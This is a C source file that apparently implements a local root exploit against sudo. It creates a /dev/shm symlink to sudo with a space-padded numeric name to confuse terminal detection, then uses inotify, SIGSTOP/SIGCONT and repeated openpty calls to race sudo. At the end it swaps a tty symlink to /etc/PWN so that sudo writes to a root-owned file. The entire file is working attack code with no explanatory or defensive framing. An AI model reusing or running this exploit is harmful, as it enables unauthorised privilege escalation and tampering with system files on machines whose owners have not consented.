#include <errno.h>
#include <linux/sched.h>
#include <pty.h>
#include <sched.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>

#define EVENT_SIZE  ( sizeof (struct inotify_event) )
#define EVENT_BUF_LEN     ( 1024 * ( EVENT_SIZE + 16 ) )


int main( )
{

	int length, i = 0;
  int fd;
  int wd;
  char buffer[EVENT_BUF_LEN];

	int master, slave;
	char pts_path[256];

	struct sched_param params;
	params.sched_priority = 0;

	mkdir("/dev/shm/_tmp", 755);
	symlink(pts_path, "/dev/shm/_tmp/_tty");
	symlink("/usr/bin/sudo", "/dev/shm/_tmp/     34873 ");

	fd = inotify_init();
	wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE );

 	pid_t pid = fork();
	setpriority(PRIO_PROCESS, pid, 19);
	sched_setscheduler(pid, SCHED_IDLE, &params);
	
	if(pid == 0) {
		execlp("/dev/shm/_tmp/     34873 ", "sudo", "hello", NULL);
	}else{

	  length = read( fd, buffer, EVENT_BUF_LEN );
	  while ( i < length ) {
			struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];
			if ( event->len ) {
	      if ( event->mask & IN_OPEN ) {
					kill(pid, SIGSTOP);

					inotify_rm_watch( fd, wd );
					close( fd );

					while(strcmp(pts_path,"/dev/pts/57")){
						openpty(&master, &slave, &pts_path[0], NULL, NULL);
					};
					kill(pid, SIGCONT);

				}else if ( event->mask & IN_CLOSE_NOWRITE ) {

					kill(pid, SIGSTOP);

					inotify_rm_watch( fd, wd );
					close( fd );

					unlink("/dev/shm/_tmp/_tty");
					symlink("/etc/PWN", "/dev/shm/_tmp/_tty");
					kill(pid, SIGCONT);

					break;


	      }
	    }
	    i += EVENT_SIZE + event->len;
	  }

}

	unlink("/dev/shm/_tmp/_tty");
	unlink("/dev/shm/_tmp/     34873 ");
	rmdir("/dev/shm/_tmp");
	close(master);
	close(slave);

}
